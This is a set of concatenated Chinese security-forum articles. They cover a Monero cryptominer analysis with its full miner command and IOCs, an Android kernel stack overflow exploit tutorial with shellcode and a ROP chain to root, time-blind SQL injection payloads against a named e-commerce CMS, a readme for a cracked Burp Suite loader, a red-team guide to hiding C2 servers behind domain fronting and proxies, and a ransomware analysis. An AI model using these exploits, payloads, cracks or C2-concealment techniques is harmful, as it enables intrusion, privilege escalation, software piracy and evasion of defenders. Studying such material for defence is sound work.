文件 (XMRig) 被置于内存中，新的阶段就会通过运行下列命令来启动它。
第三阶段Monero Miner 的执行
Monero 的文本地址在上面的代码中清晰可见。但目前这个地址无法追踪，地址信息如下所示：
46CJt5F7qiJiNhAFnSPN1G7BMTftxtpikUjt8QXRFwFH2c3e1h6QdJA5dFYpTXK27dEL9RN3H2vLc6eG2wGahxpBK5zmCuE
使用的服务器是：stratum+tcp://pool.supportxmr.com:80
w.run “%temp%taskservice.exe -B
-o stratum+tcp://pool.supportxmr.com:80 -u 46CJt5F7qiJiNhAFnSPN1G7BMTftxtpikUjt8QXRFwFH2c3e1h6QdJA5dFYpTXK27dEL9RN3H2vLc6eG2wGahxpBK5zmCuE
-o stratum+tcp://mine.xmrpool.net:80 -u 46CJt5F7qiJiNhAFnSPN1G7BMTftxtpikUjt8QXRFwFH2c3e1h6QdJA5dFYpTXK27dEL9RN3H2vLc6eG2wGahxpBK5zmCuE
-o stratum+tcp://pool.minemonero.pro:80 -u 46CJt5F7qiJiNhAFnSPN1G7BMTftxtpikUjt8QXRFwFH2c3e1h6QdJA5dFYpTXK27dEL9RN3H2vLc6eG2wGahxpBK5zmCuE -p x” ,0
**IOCs**
****
– URL: http://118.184.48.95:8000/
– Monero Address:
46CJt5F7qiJiNhAFnSPN1G7BMTftxtpikUjt8QXRFwFH2c3e1h6QdJA5dFYpTXK27dEL9RN3H2vLc6eG2wGahxpBK5zmCuE
– Sha256: 19e15a4288e109405f0181d921d3645e4622c87c4050004357355b7a9bf862cc
– Sha256: 038d4ef30a0bfebe3bfd48a5b6fed1b47d1e9b2ed737e8ca0447d6b1848ce309
**结论**
****
我们目前分析的是最初的且复杂的加密货币挖矿恶意软件的传送过程。所有人可能都知道CryptoMine, BitCoinMiner 和 Adylkuzz
等恶意软件，它们基本上是在目标机器上生成一个BitCoinMiner，其实货币类恶意软件传送的时候是没有传播模块、exploit模块，也没有使用无文件的技术。
**但是，这个Monero CPU
Miner在传送的时候就包括了针对内存inflation的高级技术，解压后的恶意软件并不存在硬盘上（这是一种绕过某些杀毒软件的技术）而是直接在内存解压，然后直接在内存调用其自身。**
我们可以将这个恶意软件视为内存中的最后一代-CryptoWorm。从我个人的角度来看，另一个有趣的发现来自于第一阶段。为什么攻击者要保留这个没有用的阶段呢？看起来这个阶段完全没有用，它就是一个生成器，它既没有控制功能也不释放任何的drop程序。攻击者可以在第一阶段直接传输第二阶段的内容，还能保证网络指纹更隐秘，所以为什么攻击者要通过第一阶段来传送这个CryptoWorm呢？也许第一阶段是某个更大的框架的一部分？或许我们正在面对的是新一代的恶意软件，现在我或许还不能够回答这个问题，反之我希望读者们可以认真来思考这个问题。 | 社区文章 |
**作者：Hcamael@知道创宇404实验室**
**英文版本：<https://paper.seebug.org/947/>**
最近在研究一个最简单的android内核的栈溢出利用方法，网上的资料很少，就算有也是旧版内核的，新版的内核有了很大的不同，如果放在x86上本应该是很简单的东西，但是arm指令集有很大的不同，所以踩了很多坑
把上一篇改了一下名字，换成了从0开始学Linux内核，毕竟不是专业搞开发的，所以驱动开发没必要学那么深，只要会用，能看懂代码基本就够用了。本篇开始学Linux
kernel
pwn了，而内核能搞的也就是提权，而提权比较多人搞的就是x86和arm指令集的Linux系统提权了，arm指令集的基本都是安卓root和iOS越狱，而mips指令集的几乎没啥人在搞，感觉是应用场景少。
# 环境准备
## android内核编译
### 下载相关源码依赖
android内核源码使用的是goldfish[1]，直接clone下来，又大又慢又久，在git目录下编译也麻烦，所以想搞那个版本的直接下那个分支的压缩包就好了
本文使用的工具的下载地址：
* 源码：<https://android.googlesource.com/kernel/goldfish/+archive/android-goldfish-3.10.tar.gz>
* 交叉编译工具：<https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.6>
* 一键编译脚本：<https://android.googlesource.com/platform/prebuilts/qemu-kernel/+/master>
PS：git
clone速度慢的话可以使用国内镜像加速：`s/android.googlesource.com/aosp.tuna.tsinghua.edu.cn/`
# 下载源码
$ wget https://android.googlesource.com/kernel/goldfish/+archive/android-goldfish-3.10.tar.gz
$ tar zxf goldfish-android-goldfish-3.10.tar.gz
# 下载编译工具
$ git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.6
# 下载一键编译脚本
$ git clone https://android.googlesource.com/platform/prebuilts/qemu-kernel/
# 只需要kernel-toolchain和build-kernel.sh
$ cp qemu-kernel/build-kernel.sh goldfish/
$ cp -r qemu-kernel/kernel-toolchain/ goldfish/
### 修改内核
学android kernel pwn最初看的是Github上的一个项目[3]，不过依赖的是旧内核，估计是android
3.4以下的内核，在3.10以上的有各种问题，所以我自己做了些修改，也开了一个Github源：<https://github.com/Hcamael/android_kernel_pwn>
对kernel源码有两点需要修改：
1.添加调试符号
首先需要知道自己要编译那个版本的，我编译的是32位Android内核，使用的是`goldfish_armv7`，配置文件在:
`arch/arm/configs/goldfish_armv7_defconfig`
但是不知道为啥3.10里没有该配置文件，不过用ranchu也一样：
给内核添加调试符号，只需要在上面的这个配置文件中添加：`CONFIG_DEBUG_INFO=y`，如果是goldfish就需要自己添加，ranchu默认配置已经有了，所以不需要更改。
2.添加包含漏洞的驱动
目的是研究Android提权利用方法，所以是自己添加一个包含栈溢出的驱动，该步骤就是学习如何添加自己写的驱动
上面给了一个我的Github项目，把该项目中的`vulnerabilities/`目录复制到内核源码的驱动目录中：
$ cp vulnerabilities/ goldfish/drivers/
修改Makefile：
$ echo "obj-y += vulnerabilities/" >> drivers/Makefile
导入环境变量后，使用一键编译脚本进行编译：
$ export PATH=/root/arm-linux-androideabi-4.6/bin/:$PATH
$ ./build-kernel.sh --config="ranchu"
PS:
在docker中复现环境的时候遇到一个问题，可以参考：<https://stackoverflow.com/questions/42895145/cross-compile-the-kernel>
编译好后的内核在`/tmp/qemu-kernel`目录下，有两个文件，一个zImage，内核启动镜像，一个vmlinux是kernel的binary文件，丢ida里面分析内核，或者给gdb提供符号信息
## Android模拟环境准备
内核编译好后，就是搞Android环境了，可以直接使用Android
Studio[2]一把梭，但是如果不搞开发的话，感觉Studio太臃肿了，下载也要下半天，不过还好，官方提供了命令行工具，觉得Studio太大的可以只下这个
PS: 记得装java，最新版的java 11不能用，我用的是java 8
建一个目录，然后把下载的tools放到这个目录中
$ mkdir android_sdk
$ mv tools android_sdk/
首先需要使用`tools/bin/sdkmanager`装一些工具
# 用来编译android binary(exp)的，如果直接用arm-liunx-gcc交叉编译工具会缺一些依赖，解决依赖太麻烦了，还是用ndk一把梭方便
$ ./bin/sdkmanager --install "ndk-bundle"
# android模拟器
$ ./bin/sdkmanager --install "emulator"
# avd
$ ./bin/sdkmanager --install "platforms;android-19"
$ ./bin/sdkmanager --install "system-images;android-19;google_apis;armeabi-v7a"
# 其他
$ ./bin/sdkmanager --install "platform-tools"
PS：因为是32位的，所以选择的是armeabi-v7a
PSS: 我一共测试过19, 24,
25，发现在24,25中，自己写的包含漏洞的驱动只有特权用户能访问，没去仔细研究为啥，就先使用低版本的android-19了
创建安卓虚拟设备：
./bin/avdmanager create avd -k "system-images;android-19;google_apis;armeabi-v7a" -d 5 -n "kernel_test"
启动：
$ export kernel_path=ranchu_3.10_zImage
或者
$ export kernel_path=goldfish_3.10_zImage
$ ./emulator -show-kernel -kernel $kernel_path -avd kernel_test -no-audio -no-boot-anim -no-window -no-snapshot -qemu -s
去测试下我写的exp：
$ cd ~/goldfish/drivers/vulnerabilities/stack_buffer_overflow/solution
$ ./build_and_run.sh
编译好了之后运行，记得要用普通用户运行：
shell@generic:/ $ id
id
uid=2000(shell) gid=1007(log) context=u:r:init_shell:s0
shell@generic:/ $ /data/local/tmp/stack_buffer_overflow_exploit
/data/local/tmp/stack_buffer_overflow_exploit
start
shell@generic:/ # id
id
uid=0(root) gid=0(root) context=u:r:kernel:s0
# Android 内核提权研究
环境能跑通以后，就来说说我的exp是怎么写出来的。
首先说一下，我的环境都是来源于AndroidKernelExploitationPlayground项目[3]，但是实际测试的发现，该项目中依赖的估计是3.4的内核，但是现在的`emulator`要求内核版本大于等于3.10
从内核3.4到3.10有许多变化，首先，对内核的一些函数做了删减修改，所以需要改改驱动的代码，其次就是3.4的内核没有开PXN保护，在内核态可以跳转到用户态的内存空间去执行代码，所以该项目中给的exp是使用shellcode，但是在3.10内核中却开启了PXN保护，无法执行用户态内存中的shellcode
## 提权思路
搞内核Pwn基本都是一个目的——提权。那么在Linux在怎么把权限从普通用户变成特权用户呢？
一般提权的shellcode长这样：
asm
(
" .text\n"
" .align 2\n"
" .code 32\n"
" .globl shellCode\n\t"
"shellCode:\n\t"
// commit_creds(prepare_kernel_cred(0));
// -> get root
"LDR R3, =0xc0039d34\n\t" //prepare_kernel_cred addr
"MOV R0, #0\n\t"
"BLX R3\n\t"
"LDR R3, =0xc0039834\n\t" //commit_creds addr
"BLX R3\n\t"
"mov r3, #0x40000010\n\t"
"MSR CPSR_c,R3\n\t"
"LDR R3, =0x879c\n\t" // payload function addr
"BLX R3\n\t"
);
这个shellcode提权的思路有三步：
1. prepare_kernel_cred(0) 创建一个特权用户cred
2. commit_creds(prepare_kernel_cred(0)); 把当前用户cred设置为该特权cred
3. MSR CPSR_c,R3 从内核态切换回用户态(详情自己百度这句指令和CPSR寄存器)
切换回用户态后，当前程序的权限已经变为root，这时候就可以执行`/bin/sh`
再继续深入研究，就涉及到内核的三个结构体：
$ cat ./arch/arm/include/asm/thread_info.h
......
struct thread_info {
......
struct task_struct *task; /* main task structure */
......
};
......
$ cat ./include/linux/sched.h
......
struct task_struct {
......
const struct cred __rcu *real_cred;
......
};
......
$ cat ./include/linux/cred.h
......
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
......
每个进程都有一个单独`thread_info`结构体，我们来看看内核是怎么获取到每个进程的`thread_info`结构体的信息的：
#define THREAD_SIZE 8192
......
static inline struct thread_info *current_thread_info(void)
{
register unsigned long sp asm ("sp");
return (struct thread_info *)(sp & ~(THREAD_SIZE - 1));
}
有点内核基础知识的应该知道，内核的栈是有大小限制的，在arm32中栈的大小是0x2000，而`thread_info`的信息储存在栈的最底部
所以，如果我们能获取到当前进程在内核中运行时的其中一个栈地址，我们就能找到`thread_info`，从而顺藤摸瓜得到`cred`的地址，如果能任意写内核，则可以修改`cred`的信息，从而提权
总得来说，内核提权其实只有一条路可走，就是修改cred信息，而`commit_creds(prepare_kernel_cred(0));`不过是内核提供的修改cred的函数罢了。
我们来通过gdb展示下cred数据：
$ shell@generic:/ $ id
id
uid=2000(shell) gid=1007(log) context=u:r:init_shell:s0
--------------------------------------
通过gdb可以获取到：`$sp : 0xd415bf40`
从而计算出栈底地址：0xd415a000
然后我们就能获取到`thread_info`的信息，然后得到`task_struct`的地址：0xd4d16680
接着我们查看task_struct的信息，得到了cred的地址：0xd4167780
gef> p *(struct task_struct *)0xd4d16680
$2 = {
......
real_cred = 0xd4167780,
cred = 0xd4167780,
......
# 数据太长了，就不截图了
然后查看cred的信息：
把uid和gid的十六进制转换成十进制，发现就是当前进程的权限
## 使用ROP绕过PXN来进行android提权
既然我们已经知道了怎么修改权限，那么接下来就研究一下如何利用漏洞来提权，因为是研究利用方式，所以自己造了一个最基础的栈溢出
int proc_entry_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
char buf[MAX_LENGTH];
if (copy_from_user(&buf, ubuf, count)) {
printk(KERN_INFO "stackBufferProcEntry: error copying data from userspace\n");
return -EFAULT;
}
return count;
}
因为开了PXN，所以没办法使用shellcode，然后我第一个想到的思路就是使用ROP来执行shellcode的操作
这里说一下，不要使用`ROPgadget`，用这个跑内核的ELF，要跑贼久，推荐使用ROPPER[4]
$ ropper -f /mnt/hgfs/tmp/android_kernel/ranchu_3.10_vmlinux --nocolor > ranchu_ropper_gadget
然后就是找`commit_creds`,
`prepare_kernel_cred`这两个函数的地址，在没有开启kalsr的内核中，我们可以直接把vmlinux丢到ida里面，找这两个函数的地址
到这里，我们可以构造出如下的rop链：
*pc++ = 0x41424344; // r4
*pc++ = 0xC00B8D68; // ; mov r0, #0; pop {r4, pc}
*pc++ = 0x41424344; // r4
*pc++ = 0xC00430F4; // ; prepare_kernel_cred(0) -> pop {r3-r5, pc}
*pc++ = 0x41424344; // r3
*pc++ = 0x41424344; // r4
*pc++ = 0x41424344; // r5
*pc++ = 0xC0042BFC; // ; commit_creds -> pop {r4-r6, pc}
*pc++ = 0x41424344; // r4
*pc++ = 0x41424344; // r5
*pc++ = 0x41424344; // r6
在成功修改当前进程的权限之后，我们需要把当前进程从内核态切换回用户态，然后在用户态执行`/bin/sh`，就能提权成功了
但是这里遇到一个问题，在shellcode中，使用的是:
"mov r3, #0x40000010\n\t"
"MSR CPSR_c,R3\n\t"
"LDR R3, =0x879c\n\t" // payload function addr
"BLX R3\n\t"
我也很容易能找到gadget: `msr cpsr_c, r4; pop {r4, pc};`
但是却没法成功切换回用户态，网上相关的资料几乎没有，我也找不到问题的原因，在执行完`msr cpsr_c,
r4`指令以后，栈信息会发现变化，导致没法控制pc的跳转
不过后来，我跟踪内核的执行，发现内核本身是通过`ret_fast_syscall`函数来切换回用户态的：
$ cat ./arch/arm/kernel/entry-common.S
......
ret_fast_syscall:
UNWIND(.fnstart )
UNWIND(.cantunwind )
disable_irq @ disable interrupts
ldr r1, [tsk, #TI_FLAGS]
tst r1, #_TIF_WORK_MASK
bne fast_work_pending
asm_trace_hardirqs_on
/* perform architecture specific actions before user return */
arch_ret_to_user r1, lr
ct_user_enter
restore_user_regs fast = 1, offset = S_OFF
UNWIND(.fnend )
......
----------------------------- 0xc000df80 <ret_fast_syscall>: cpsid i
0xc000df84 <ret_fast_syscall+4>: ldr r1, [r9]
0xc000df88 <ret_fast_syscall+8>: tst r1, #7
0xc000df8c <ret_fast_syscall+12>: bne 0xc000dfb0 <fast_work_pending>
0xc000df90 <ret_fast_syscall+16>: ldr r1, [sp, #72] ; 0x48
0xc000df94 <ret_fast_syscall+20>: ldr lr, [sp, #68]! ; 0x44
0xc000df98 <ret_fast_syscall+24>: msr SPSR_fsxc, r1
0xc000df9c <ret_fast_syscall+28>: clrex
0xc000dfa0 <ret_fast_syscall+32>: ldmdb sp, {r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11, r12, sp, lr}
0xc000dfa4 <ret_fast_syscall+36>: nop; (mov r0, r0)
0xc000dfa8 <ret_fast_syscall+40>: add sp, sp, #12
0xc000dfac <ret_fast_syscall+44>: movs pc, lr
经过我测试发现，使用`msr SPSR_fsxc,
r1`可以成功从内核态切换回用户态，但是该指令却只存在于该函数之前，无法找到相关的gadget，之后我想了很多利用该函数的方法，最后测试成功的方法是：
计算有漏洞的溢出函数的栈和`ret_fast_syscall`函数栈的距离，在使用ROP执行完`commit_creds(prepare_kernel_cred(0));`之后，使用合适的gadget来修改栈地址(比如:
`add sp, sp, #0x30; pop {r4, r5, r6, pc};`)，然后控制pc跳转到`0xc000df90
<ret_fast_syscall+16>:`，这样程序就相当于执行完了内核的syscall，然后切换回用户进程代码继续执行，在我们的用户态代码中后续执行如下函数，就能成功提权：
void payload(void)
{
if (getuid() == 0) {
execl("/system/bin/sh", "sh", NULL);
} else {
warnx("failed to get root. How did we even get here?");
}
_exit(0);
}
完整exp可以见我的Github。
ROP只是其中一种利用方法，后续还会研究其他利用方法和在64位android下的利用。
# 参考
1. <https://android.googlesource.com/kernel/goldfish/>
2. <https://developer.android.com/studio/?hl=zh-cn#downloads>
3. <https://github.com/Fuzion24/AndroidKernelExploitationPlayground>
4. <https://github.com/sashs/Ropper>
* * * | 社区文章 |
# 前言
上次在逛先知的时候,无意间看到了L4zily师傅的这篇文章:<https://xz.aliyun.com/t/9114>
,所以有了这篇,该版本为金微手机商城 V0.3.8版本
# 正题
我们直接去官方搭建的演示站,直接访问/admin.php
我们先看Jms_0.3.8\admin.php的源码:
这里的第8行是传入数据给$m,然后当$m不为空时,会触发Jms_0.3.8\common.php的Dec函数,其功能主要是对传入的数据json解码:
但是这里return时,会因为$c为true而去触发Jms_0.3.8\common.php的Rpl函数,其内容为:
这里是进行了过滤,过滤的主要是一些不可显示的字符和\ * ' " % 空格
然后进行判断,当$m[“act”]不为idx或者是lgn时会进入if判断,然后回执行sql语句,首先先看这段sql语句:
我们可以看到我们可以对$m[“uid”]进行处理来进行sql注入,然后再来看Jms_0.3.8\common.php的Qry函数:
功能只是执行语句,没有其它的过滤,所以重新回到注入点
我们可以直接去主站的演示站进行这样构造:POST传入: {"act":"f1hgb","uid":"213123213121||sleep(5)"}
可以看到进行了延时,然后因为是或,所以会有几个数据表就会延时多少次5秒,所以这里显示的是10秒。
然后因为没有对sql的关键字进行过滤,所以我们可以直接进行时间盲注,因为过滤了引号,所以使用16进制,所以先测试第一个字母为j其16进制为0x6a,其paylaod:
{"act":"f1hgb","uid":"213123213121||(if(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),1,1)=0x6a,sleep(5),1))"}
发现是存正延时的,当我们换成第一个字母为k,其16进制为0x6b时,payload:
{"act":"f1hgb","uid":"213123213121||(if(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),1,1)=0x6b,sleep(5),1))"}
发现就没有延时。后面只需要替换table_name等就可以进行sql注入获取用户名等。 | 社区文章 |
BurpUnlimitedre update BurpSuite v1.7.27
Created by: x-Ai
Based on: BurpLoader by larry_lau && BurpUnlimited by mxcxvn
This project !replace! BurpUnlimited of depend (BurpSuite version 1.7.27). It
is NOT intended to replace BurpLoader and BurpUnlimited！
To run the project from the command line:
java -javaagent:BurpUnlimitedre.jar -agentpath:lib/libfaketime<osverion> -jar
BurpUnlimitedre.jar
or double click on BurpUnlimited.jar (set permision before)
Notes:
There are some requirements files in lib at current folder:
burpsuite_pro_v1.7.27.jar is main object
libfaketime* Lib for hook time activation. Sourcecode is at
<https://github.com/faketime-java/faketime>
File Hash MD5
BurpUnlimited.jar AC4725EA240E4E5F916708262C4F2C78
lib/
burpsuite_pro_v1.7.27.jar F579B2B8692DDE5D0EF6388D91A98D55
libfaketime32.dll E3842711A065B672DEC322C4140B950F
libfaketime32.jnilib D2B62D06A972035149BFDEFE1605C041
libfaketime32.so 5C2BAA272037207533D74FAA4291E91D
libfaketime64.dll 6659EFEEE9698609A9FFD9EA8C9D07D1
libfaketime64.jnilib FF3DBDE6A28F1C59D829CF5665C8E628
libfaketime64.so 5C2BAA272037207533D74FAA4291E91D
windows_vcredist/
vcruntime140_x32.dll B77EEAEAF5F8493189B89852F3A7A712
vcruntime140_x64.dll 6C2C88FF1B3DA84B44D23A253A06C01B
### 目录不要有中文和空格，64位操作系统不要使用32位的JDK | 社区文章 |
# 红队攻防基础建设—神隐之路
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前记
本次主要写一下之前<红队攻防基础建设—C2
IP隐匿技术>一文中关于隐匿的一些进阶用法和本人的一些猜想实验，本文大概也是关于C2隐匿这个主题的最终章，在准备写文章前也和微步的Anakin、师傅聊了很多，收获颇丰，感谢他：）。在我们去做之前提到的一些隐匿手段时，是否会去想这个手段的一些缺陷和溯源方法？本文也会写到作者对一些隐匿手段溯源的猜想，或许有考虑不周到的地方，各位师傅可以多多提出意见。
## 域前置&Nginx反向代理
在看到上面的标题时，也许会有许多读者有着这样的疑惑。域前置不是被阿里云做了限制不能使用了吗？那么俗话说的好，路不止一条，通过使用其他厂商(部分)的CDN服务，也可以实现梅开二度的效果。这次就不公开说明本文使用的CDN厂商信息，小伙伴们可以通过本文自行发现，那么开始言归正传。
### 操作步骤
首先域前置的配置这里不再赘述。这里Nginx反向代理我们以ngrok为例，开通一个隧道，进行配置，将本地端口设置为127.0.0.1:8866这里端口随意，因为最后CS会监听该端口进行上线。
设置完本地端口后，在我们的VPS服务器上，开启Nginx反向代理，如下图：
配置完代理后，通过访问aliks.5gzvip.idcfengye.com 这个地址即可代理到我们VPS的8866端口。
回源地址设置为上述的代理的地址，这里需要注意，回源地址的源码HOST一定记得配置(其他厂商同理)，否则无法上线。
接下来就与域前置相同利用方式了，全网ping一下负载IP。
随便找两个负载IP在CS监听一下即可。
重点来了。。我们还需要在CS监听一下Nginx代理到的那个端口
这里一定要设置IP为回环地址或者内网IP，如果直接设置为我们VPS的公网IP，那么受害机的流量是会出现跟我们VPS之间的通信的。
然后我们正常使用域前置的那个监听器生成一个木马。
成功上线
表面看起来与之前域前置的特征相似，但是中间多了一层Nginx代理，这无疑给溯源工作造成了巨大的难度。因为本来域前置只是通过CDN技术从负载IP分发到真实VPS地址，但是中间多了一层反向代理，又进行了一次跳转，最后代理到我们的真实地址。
当然对于上述的Nginx反向代理其实还有一种方法，就是可以看到另一个箭头指向为自定义域名，我们可以通过修改该处，使用一个匿名域名，正常设置CDN加速，然后在ngrok配置即可实现与域前置效果差不多的CDN隐匿，区别只是HOST而已，但是无疑更加快捷，没有什么需要配置的。相较于域前置的配置步骤，这也是不错的办法，而且ngrok的稳定性我认为还是不错的。
### **二层隐匿溯源链的思考：**
第一层
如何突破CDN技术，获取到真实IP，因为域前置技术与我们以往认知的突破CDN不同，HOST头完全是任意域名，通信的IP地址为负载IP，无迹可查。
第二层
假设突破了域前置技术，获得了服务商的协助，但是CDN加速指向的域名地址为Nginx反向代理地址，且仅判断域名无法确认是哪家提供的反代服务。
第三层
假设溯源得知了提供服务的是Ngrok，并且维护人员愿意提供帮助，但是作为反代服务，因为Ngrok等多数的反代提供商都是匿名注册，并且在我们没有进行反代连接时，在服务器上也并不能看到我们的真实IP，但是当然可以得到我们反连的端口，这里就可以密切关注该端口，也不是不可以。
第四层
事实上，在反代这一层就有一个悖论，就是并不一定就是Ngrok，我们可以用任意的反代提供商比如heroku之类的国外的，也可以是我们用肉鸡搭建的，这样都是无从发现的，即使有各方面的支持来进行溯源也是困难重重。
### 溯源思路
那么继续来讲一下大家最感兴趣的域前置溯源思路吧，当然时至今日这种方式仍然没有很好的溯源办法，所以说到的仅是我个人以及与朋友交流得出的一些想法。
1、对于不同负载IP对应哪家CDN厂商做收集进行整合
2、当然他提出了主流大厂进行验证域名归属，小厂进行标记，我觉得这也是一种办法但是无疑是一件巨大的工作量
3、这里我提出了一种建议就是，遵从第一条所说的，如果能得知其使用的CDN厂商那么，结合HOST头，我们完全可以推导出他的CNAME值，毕竟同一个CDN服务商中加速域名是唯一，并且在域前置的实施方案中，CNAME已经可以指向真实IP进行通信了。所以在服务商的帮助下是完全有可能找到真实IP的，当然我们上面提到的二层隐匿无疑是给这种溯源猜想制造了另一难题。
## 域前置&云函数
在之前的文章里，这两种方式是分开讲解的，并讲述了各自的优缺点，但是两者结合起来又如何呢？下面我们来看一下吧！
### 操作步骤
首先正常配置域前置，与上述配置反向代理的方法一样，注意回源配置即可，这里域名地址配置为我们云函数触发的API网关地址。
云函数的配置这里就不多赘述了
直接与上述相同方法进行配置监听,因为原理也是通过域前置分发到API网关进行触发然后通过云函数进行转发到真实VPS。
上线成功
这里也是只能抓到CDN的负载IP。
### 溯源思路
其实原理很简单，与上面那个方法几乎是一样的操作。对于云函数的溯源思路其实很简单，在我们获取到的云函数域名地址中，相信大家会发现地址如下:
**service-o9sr3b3f-1259xxxx07.bj.apigw.tencentcs.com**
其中1259xxxx07，是我们腾讯云账号的APPID，这个ID是唯一的。如果获得腾讯云的支持，那么完全是可以溯源到该账号个人信息的，与阿里云的OSS地址差不多的性质，都可以进行溯源。
哪怕域前置和云函数所结合，那么不可溯源的仍然是建立在域前置安全的基础上，但是上面也有提到，我认为域前置在以后是有可能会被溯源出来甚至禁止的，所以这也意味着想要通过API网关触发云函数也好公网转发也好，都不是不可查的，所以还是谨慎渗透吧。
### 一点小坑
不知道大家有没有碰到过，云函数正常上线但是执行命令没有回显的问题，这是因为云函数中进行编码，以及post包参数的问题。我们在做profile中进行设置即可，当然过一阵会有这么一篇文章进行详细讲解在不适用profile情况下仅修改云函数及API网关配置的方法，小伙伴可以多多关注，嘿嘿就不说是哪里发了。
除了云函数的方法，其实直接使用API网关的公网IP转发更简便，也确实可以上线成功，这个本文不在拓展了，大家可以自行研究。
## 后记
本文总体不长，主要还是分享了一些思路，作为C2隐匿篇的最终章我认为还是有必要发出来的，总的来说对于隐匿的一些手段，具体选择哪一个还是要根据我们实际的应用环境来选择的。一些常规的SRC挖掘其实云函数或者域前置都可以，但是一些隐匿度要求较高的项目就可以使用上面提到的一些方法。其实理论上可以无限套，但是我认为两层就可以了，也许大家会发现哪怕二层隐匿配置也很简单。是的，我认为隐匿作为辅助渗透的方法越简单越好，毕竟技术是用来服务人使用时更加快捷有效的。
其实我一直很喜欢去写这样的后记，因为可以比较轻松的把自己的一些想法写下来表达给大家，这也是我很喜欢做的。
有时候结果并不圆满，我们需要做的是学会接受它，接受这样的不完美。这是嘉哥对我说的话，谢谢他~
**希望通过本文能够对您有所帮助！祝各位读者前程似锦，心想事成！** | 社区文章 |
# 深入分析勒索软件Scarab：一个改变了战术的新变种
|
##### 译文声明
本文是翻译文章，文章原作者 Malwarebytes Labs ，文章来源：blog.malwarebytes.com
原文地址：<https://blog.malwarebytes.com/threat-analysis/2018/01/scarab-ransomware-new-variant-changes-tactics/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
Scarab（圣甲虫）恶意软件于2017年6月首次发现。此后，有多个版本的变种陆续产生并被发现。最流行的一个版本是通过Necurs僵尸网络进行分发，使用Visual
C语言编写而成。但是，在针对多个变种进行脱壳之后，我们发现有一个2017年12月首次发现的变种Scarabey，其分发方式与其他变种不同，并且它的有效载荷代码也并不相同。
如同其他大多数勒索软件一样，Scarabey会将系统中的文件进行加密，并勒索比特币赎金。然而，Scarabey并没有像原来的Scarab那样通过内部的malspam进行分发，而是针对特定的俄罗斯用户群体，并通过RDP或手动的方式分发到服务器和系统上。
另外，Scarabey与此前我们发现的任何样本都不相同，其恶意代码是由Delphi编写的，没有Scarab所具有的C++包装，并且勒索赎金的提示内容和使用语言也与其他样本完全不同。
Scarab原始样本MD5：e8806738a575a6639e7c9aac882374ae
Scarabey变种样本MD5：9a02862ac95345359dfc3dcc93e3c10e
## 勒索赎金的提示
针对感染者而言，Scarabey和其他Scarab勒索软件的主要区别在于勒索赎金提示信息的语言，以及加密信息中所使用的恐吓手段。
在Scarab样本中，勒索赎金的提示信息是英文，但如果仔细阅读，会发现它似乎是从俄文逐字翻译成英文的，其中一些地方并没有遵循正确的英语语法或习惯表达。而Scarabey的提示信息直接就是俄语。非常有趣的是，如果我们将Scarabey的俄语提示内容复制粘贴到谷歌翻译中，所得到的机翻英语内容，包含与Scarab勒索提示信息相同的语法错误，如下图所示。
原始的Scarab提示信息：
使用谷歌翻译，俄译英后的Scarabey提示信息：
我们认为，Scarab勒索软件的作者可能使用俄语，他使用自己的母语写了勒索提示信息，并通过在线翻译将其转换成英语，并放入了Scarab勒索软件之中。如果真是这样，该作者很可能为了能够感染更多的用户，使用自己的母语制作了Scarabey勒索软件，并将其瞄准俄罗斯用户这一特定人群。
## 不同的威胁提示内容
在最初的Scarab版本中，它警告用户说：用户支付赎金所耗费的时间越久，价格就会越高。
而在Scarabey中，它警告用户：在不支付赎金的情况下，文件会不断被删除，直至所有文件都被彻底删除，且无法恢复。
但经过深入分析，攻击者自称被感染用户他们保留了未加密的副本，或者暗示被感染用户他们能够控制被感染用户的计算机，这些都是骗人的。具体原因如下：
1. 攻击者并不会保留未加密文件的副本，也没有任何途径将这些文件发送到被感染用户的计算机上。同样，也无法将任何文件从受感染计算机发送给勒索软件作者。
2. 在Scarab及其变种，不存在后门或远程访问相关的代码，因此攻击者无法在被感染的计算机上远程删除文件。
3. 根据我们的理解，在用户支付赎金后，攻击者会向被感染用户发送拥有唯一密钥的解密软件。用户运行该软件，可以解密电脑中的文件。这也就是说，攻击者无法控制解密的过程，因为解密过程是在被感染者主机本地、在离线状态下完成的。
4. 根据对恶意软件代码的分析，不存在删除用户文件的相关功能。
具体来说，在勒索提示信息中，作者声称文件是在服务器端被加密，这是不真实的：
>
> “如果您不支付赎金，每隔24小时我们就删除24个文件（我们具有文件的副本）。如果在72小时之内没有运行解密程序，计算机上的所有文件都将被彻底删除，无法再恢复。”
> 然后，恶意软件的作者给出了解密步骤，在被感染用户付款后，会收到一个解密程序，带有唯一密钥的解密软件可以在本地执行解密操作：
> “运行解密软件后，文件会在1小时之内被解密。”
